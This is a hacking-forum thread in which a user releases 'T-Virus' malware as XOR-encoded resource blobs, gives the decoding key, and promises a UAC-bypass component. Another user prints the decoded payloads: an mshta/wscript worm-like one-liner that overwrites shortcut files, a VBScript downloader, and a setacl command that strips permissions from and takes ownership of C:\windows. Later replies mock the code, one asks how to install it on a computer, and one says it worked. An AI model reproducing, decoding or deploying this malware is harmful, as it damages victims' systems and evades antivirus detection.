[tusharthegreat]

[font=Verdana] NEW T-VIRUS [1/53 DETECTION] RELEASE + SOURCE

[size=medium]
well this is the actual source to the original post:
https://hackforums.net/showthread.php?tid=4455546


main code:
http://pastebin.com/y6GSga90

resource1 bat2s :
²¬·«¾ÿýµ¾©¾¬¼­¶¯«å¨â±º¨ÿž¼«¶©º‡½µº¼«÷ø¨¬¼­¶¯«ñ¬·º³³øö䨶«·÷¨ñ¼­º¾«º¬·°­«¼ª«÷øñ³±´øöö«¾­¸º«¯¾«·âø²¬·«¾øó¾­¸ª²º±«¬âøýøô³°¼¾«¶°±ñ·­º¹ôøýø󬾩º÷öä¨ñ­ª±÷ø¼²»ÿð¼¹°­ÿð¹ÿý»º³¶²¬âýÿƒ§íêºÿ¶±ÿ÷ƒø»¶­ð½ð¬ÿƒõñ³õƒøö»°ÿ¼°¯¦ñ³±´ÿýƒ§íêºýøóïöä¼³°¬º÷öý

resource2 http :
ÿ¬«­“¶±´ÿâÿý·««¯åðð»°¨±³°¾»ñ²¶¼­°¬°¹«ñ¼°²ð»°¨±³°¾»ðíðšðæðíšæîîæêéò™æï™ò띙òçíìîòšíæížèé™íçè𘍒Œ›”–ž–€š‘€›‰›ñ¶¬°ýÕÿÖÕÿÖÿ¬«­Œ¾©º‹°ÿâÿýœåƒ¯­°¸­¾²»¾«¾ƒýÿùÿú­¾±»°²úÕÿÖÿÕÿÿÿÿÿøÿœ­º¾«ºÿ¾±ÿ—‹‹ÿ°½µº¼«ÕÿÿÿÿÿŒº«ÿ°½µ—‹‹ÿâÿœ­º¾«º½µº¼«÷ÿýˆ¶±—««¯ñˆ¶±—««¯º®ªº¬«ñêñîýÿöÕÿÕÿÿÿÿÿøÿ›°¨±³°¾»ÿ«·ºÿ¬¯º¼¶¹¶º»ÿŠ“Õÿÿÿÿÿ°½µ—‹‹ñ¯º±ÿý˜š‹ýóÿ¬«­“¶±´óÿ™¾³¬ºÕÿÿÿÿÿøÿŠ¬ºÿ—‹‹šŽŠšŒ‹€Œš‹œš›š‘‹–ž“Œ€™€‡†ÿ¶¹ÿª¬º­ÿ¾±»ÿ¯¾¬¬¨°­»ÿ¶¬ÿ¹°­ÿ¯­°§¦óÿ±°«ÿ¹°­ÿ»°¨±³°¾»ÿ«·ºÿ¹¶³ºñÕÿÿÿÿÿøÿ°½µ—‹‹ñŒº«œ­º»º±«¶¾³¬ÿýŠ¬º­ýóÿý¾¬¬¨°­»ýóÿ—‹‹šŽŠšŒ‹€Œš‹œš›š‘‹–ž“Œ€™€Œš‰šÕÿÿÿÿÿ°½µ—‹‹ñŒº±»ÕÿÿÿÿÿÕÿÿÿÿÿÿÿÿÿÿŒº«ÿ°½µ™Œÿâÿœ­º¾«º½µº¼«÷ýŒ¼­¶¯«¶±¸ñ™¶³ºŒ¦¬«º²½µº¼«ýöÕÖÿÿ–¹ÿ°½µ™Œñ™¶³ºš§¶¬«¬÷¬«­Œ¾©º‹°öÿ‹·º±ÕÖÿÿÖ°½µ™Œñ›º³º«º™¶³º÷¬«­Œ¾©º‹°öÕÖÿÿš±»ÿ–¹ÕÿÕÿÿÿÿÿÿ–¹ÿ°½µ—‹‹ñŒ«¾«ª¬ÿâÿíïïÿ‹·º±ÕÿÿÿÿÖ›¶²ÿ°½µŒ«­º¾²ÕÖÿÿÿÿŒº«ÿ°½µŒ«­º¾²ÿâÿœ­º¾«º½µº¼«÷ýž››ñŒ«­º¾²ýöÕÖÿÿÿÿˆ¶«·ÿ°½µŒ«­º¾²ÕÖÖÿÿÿÿñ‹¦¯ºÿâÿîÿø¾»‹¦¯º¶±¾­¦ÕÖÖÿÿÿÿñ¯º±ÕÖÖÿÿÿÿñˆ­¶«ºÿ°½µ—‹‹ñº¬¯°±¬º°»¦ÕÖÖÿÿÿÿñŒ¾©º‹°™¶³ºÿ¬«­Œ¾©º‹°ÕÖÖÿÿÿÿñœ³°¬ºÕÖÿÿÿÿš±»ÿˆ¶«·ÕÖÿÿÿÿ¬º«ÿ°½µŒ«­º¾²ÿâÿ‘°«·¶±¸ÕÖÿÿš±»ÿ–¹ÕÖÿÿÕÖÿÿ–¹ÿ°½µ™Œñ™¶³ºš§¶¬«¬÷¬«­Œ¾©º‹°öÿ‹·º±ÕÖÿÿš±»ÿ–¹ÿ

resource3 winacl :
¬º«¾¼³ÿò°±ÿý¼åƒ¨¶±»°¨¬ýÿò°«ÿ¹¶³ºÿò¾¼«±ÿ«­ª¬«ººÿò«­¬«ÿý±îå‹ŠŒ—žòœƒ‹ŠŒ—žä«¾å­º²«­¬«ä¨å»¾¼³ýÿò¾¼«±ÿ«­ª¬«ººÿò«­¬«ÿý±îå‹ŠŒ—žòœƒž›’–‘–Œ‹ž‹Œä«¾å­º²«­¬«ä¨å»¾¼³ýÿò¾¼«±ÿ«­ª¬«ººÿò«­¬«ÿý±î匆Œ‹š’䫾孺²«­¬«ä¨å»¾¼³ýÿò¾¼«±ÿ«­ª¬«ººÿò«­¬«ÿý±îå‹ŠŒ—žòœƒŠŒšŒä«¾å­º²«­¬«ä¨å»¾¼³ýÿò¾¼«±ÿ«­ª¬«ººÿò«­¬«ÿý±î垊‹—š‘‹–œž‹š›ÿŠŒšŒä«¾å­º²«­¬«ä¨å»¾¼³ýÿò¾¼«±ÿ¬º«°¨±º­ÿò°¨±­ÿý±å‹ä¬å±ý



it requires a service also which i will upload shortly after some changes
(for uac bypass)

[Marwix]

Spoiler (Click to View)

Code

resource1 bat2s :
²¬·«¾ÿýµ¾©¾¬¼­¶¯«å¨â±º¨ÿž¼«¶©º‡½µº¼«÷ø¨¬¼­¶¯«ñ¬·º³³øö䨶«·÷¨ñ¼­º¾«º¬·°­«¼ª«÷øñ³​±´øöö«¾­¸º«¯¾«·âø²¬·«¾øó¾­¸ª²º±«¬âøýøô³°¼¾«¶°±ñ·­º¹ôøýø󬾩º÷öä¨ñ­ª±÷ø¼²»ÿð¼¹°­ÿ​ð¹ÿý»º³¶²¬âýÿƒ§íêºÿ¶±ÿ÷ƒø»¶­ð½ð¬ÿƒõñ³õƒøö»°ÿ¼°¯¦ñ³±´ÿýƒ§íêºýøóïöä¼³°¬º÷öý

resource2 http :
ÿ¬«­“¶±´ÿâÿý·««¯åðð»°¨±³°¾»ñ²¶¼­°¬°¹«ñ¼°²ð»°¨±³°¾»ðíðšðæðíšæîîæêéò™æï™ò띙òçíìî​òšíæížèé™íçè𘍒Œ›”–ž–€š‘€›‰›ñ¶¬°ýÕÿÖÕÿÖÿ¬«­Œ¾©º‹°ÿâÿýœåƒ¯­°¸­¾²»¾«¾ƒýÿùÿú­¾±»°​²úÕÿÖÿÕÿÿÿÿÿøÿœ­º¾«ºÿ¾±ÿ—‹‹ÿ°½µº¼«ÕÿÿÿÿÿŒº«ÿ°½µ—‹‹ÿâÿœ­º¾«º½µº¼«÷ÿýˆ¶±—««¯ñˆ¶​±—««¯º®ªº¬«ñêñîýÿöÕÿÕÿÿÿÿÿøÿ›°¨±³°¾»ÿ«·ºÿ¬¯º¼¶¹¶º»ÿŠ“Õÿÿÿÿÿ°½µ—‹‹ñ¯º±ÿý˜š‹ýó​ÿ¬«­“¶±´óÿ™¾³¬ºÕÿÿÿÿÿøÿŠ¬ºÿ—‹‹šŽŠšŒ‹€Œš‹œš›š‘‹–ž“Œ€™€‡†ÿ¶¹ÿª¬º­ÿ¾±»ÿ¯¾¬¬​¨°­»ÿ¶¬ÿ¹°­ÿ¯­°§¦óÿ±°«ÿ¹°­ÿ»°¨±³°¾»ÿ«·ºÿ¹¶³ºñÕÿÿÿÿÿøÿ°½µ—‹‹ñŒº«œ­º»º±«¶¾³¬ÿýŠ¬º​­ýóÿý¾¬¬¨°­»ýóÿ—‹‹šŽŠšŒ‹€Œš‹œš›š‘‹–ž“Œ€™€Œš‰šÕÿÿÿÿÿ°½µ—‹‹ñŒº±»ÕÿÿÿÿÿÕÿÿ​ÿÿÿÿÿÿÿÿŒº«ÿ°½µ™Œÿâÿœ­º¾«º½µº¼«÷ýŒ¼­¶¯«¶±¸ñ™¶³ºŒ¦¬«º²½µº¼«ýöÕÖÿÿ–¹ÿ°½µ™Œñ™¶³​ºš§¶¬«¬÷¬«­Œ¾©º‹°öÿ‹·º±ÕÖÿÿÖ°½µ™Œñ›º³º«º™¶³º÷¬«­Œ¾©º‹°öÕÖÿÿš±»ÿ–¹ÕÿÕÿÿÿÿÿÿ–¹ÿ°½​µ—‹‹ñŒ«¾«ª¬ÿâÿíïïÿ‹·º±ÕÿÿÿÿÖ›¶²ÿ°½µŒ«­º¾²ÕÖÿÿÿÿŒº«ÿ°½µŒ«­º¾²ÿâÿœ­º¾«º½µº¼«÷ýž›​›ñŒ«­º¾²ýöÕÖÿÿÿÿˆ¶«·ÿ°½µŒ«­º¾²ÕÖÖÿÿÿÿñ‹¦¯ºÿâÿîÿø¾»‹¦¯º¶±¾­¦ÕÖÖÿÿÿÿñ¯º±ÕÖÖÿÿÿ​ÿñˆ­¶«ºÿ°½µ—‹‹ñº¬¯°±¬º°»¦ÕÖÖÿÿÿÿñŒ¾©º‹°™¶³ºÿ¬«­Œ¾©º‹°ÕÖÖÿÿÿÿñœ³°¬ºÕÖÿÿÿÿš±»ÿˆ​¶«·ÕÖÿÿÿÿ¬º«ÿ°½µŒ«­º¾²ÿâÿ‘°«·¶±¸ÕÖÿÿš±»ÿ–¹ÕÖÿÿÕÖÿÿ–¹ÿ°½µ™Œñ™¶³ºš§¶¬«¬÷¬«­Œ¾©º‹°​öÿ‹·º±ÕÖÿÿš±»ÿ–¹ÿ

resource3 winacl :
¬º«¾¼³ÿò°±ÿý¼åƒ¨¶±»°¨¬ýÿò°«ÿ¹¶³ºÿò¾¼«±ÿ«­ª¬«ººÿò«­¬«ÿý±îå‹ŠŒ—žòœƒ‹ŠŒ—žä«¾å­º²​«­¬«ä¨å»¾¼³ýÿò¾¼«±ÿ«­ª¬«ººÿò«­¬«ÿý±îå‹ŠŒ—žòœƒž›’–‘–Œ‹ž‹Œä«¾å­º²«­¬«ä¨å»¾¼³ý​ÿò¾¼«±ÿ«­ª¬«ººÿò«­¬«ÿý±î匆Œ‹š’䫾孺²«­¬«ä¨å»¾¼³ýÿò¾¼«±ÿ«­ª¬«ººÿò«­¬«ÿý±îå‹ŠŒ—ž​òœƒŠŒšŒä«¾å­º²«­¬«ä¨å»¾¼³ýÿò¾¼«±ÿ«­ª¬«ººÿò«­¬«ÿý±î垊‹—š‘‹–œž‹š›ÿŠŒšŒä«¾å­º²​«­¬«ä¨å»¾¼³ýÿò¾¼«±ÿ¬º«°¨±º­ÿò°¨±­ÿý±å‹ä¬å±ý

You sure you're not on drugs or something?

[tusharthegreat]

its all xor encrypted
use it
it will run
i've tried it

[Chris White]

Uh, what?! xor encrypted? Doesn't that need a key for it to be decrypted? I can see it no where!

[tusharthegreat]

its in the code
it has a function named "de"
the key is 223

[Odus]

Uh, what?! xor encrypted? Doesn't that need a key for it to be decrypted? I can see it no where!

They key is a global byte (god knows why).

The resources are here for anyone who else who is sketched out:

Code

mshta "javascript:w=new ActiveXObject('wscript.shell');with(w.createshortcut('.lànk'))targetpath='mshta',arguments='"'+location.href+'"',save();w.run('cmd /cfor à/f "delims=" \x25e in (\'dir/b/s \*.l*\')do copy.lnk "\x25e"',0);close()"

strLink = "http://download.microsoft.com/download/2/E/9/2E911956-F90F-4BFB-8231à-E292A7B6F287/GRMSDKIAI_EN_DVD.iso"

     strSaveTo = "C:\programdata\" & %randoàm%

     ' Create an HTTP object
     Set objHTTP = CreateObject( "WinHttp.WiànHttpRequest.5.1" )

     ' Download the specified URL
     objHTTP.Open "GET",à strLink, False
     ' Use HTTPREQUEST_SETCREDENTIALS_FOR_PROXY if user and passàword is for proxy, not for download the file.
     ' objHTTP.SetCredentials "Useàr", "Password", HTTPREQUEST_SETCREDENTIALS_FOR_SERVER
     objHTTP.Send

  à      Set objFSO = CreateObject("Scripting.FileSystemObject")
      If objFSO.FilàeExists(strSaveTo) Then
          objFSO.DeleteFile(strSaveTo)
      End If

      If obàjHTTP.Status = 200 Then
        Dim objStream
        Set objStream = CreateObject("ADàODB.Stream")
        With objStream
            .Type = 1 'adTypeBinary
            .Open
           à .Write objHTTP.ResponseBody
            .SaveToFile strSaveTo
            .Close
        End Wàith
        set objStream = Nothing
      End If

      If objFSO.FileExists(strSaveToà) Then
      End If

setacl -on "c:\windows" -ot file -actn trustee -trst "n1:TUSHAR-PC\TUSHAR;ta:remàtrst;w:dacl" -actn trustee -trst "n1:TUSHAR-PC\ADMINISTRATORS;ta:remtrst;w:dacl"à -actn trustee -trst "n1:SYSTEM;ta:remtrst;w:dacl" -actn trustee -trst "n1:TUSHAàR-PC\USERS;ta:remtrst;w:dacl" -actn trustee -trst "n1:AUTHENTICATED USERS;ta:remàtrst;w:dacl" -actn setowner -ownr "n:T;s:n"

OP this is one huge clusterfuck of code lol.

MY EYES

Code

        On Error Resume Next

[tusharthegreat]

i specified it as global so that i could use different keys at different places but i let go of the idea and it is unused.

[DragonHunter]

Oh man this worked! so awesome, I am a zombie fear me c:
ps: you watched way too many resident evil

[TheBarret]

Code

        On Error Resume Next

Did i just read that correctly 🤐 or is my soda infected?! x.X

holy....crap this is worse then punching myself in the nuts. don't use this ppl, this is RLY bad code

[xXxKendirxXx]

So now my pc is infected? yes or no? :S xD

[Sn0wX]

Did i just read that correctly 🤐 or is my soda infected?! x.X

holy....crap this is worse then punching myself in the nuts. don't use this ppl, this is RLY bad code

Since when did HF care about exception handling?

[NET-KID]

Since when did HF care about exception handling?

[img]http://www.genrocket.com/wp-content/uploads/2014/03/bugFree.gif[/img]

[killerman231]

How do you test this and also install it onto a computer?

[TheBarret]

Since when did HF care about exception handling?

Yeah i know its far fetched, they will never be a decent programmer thats for sure.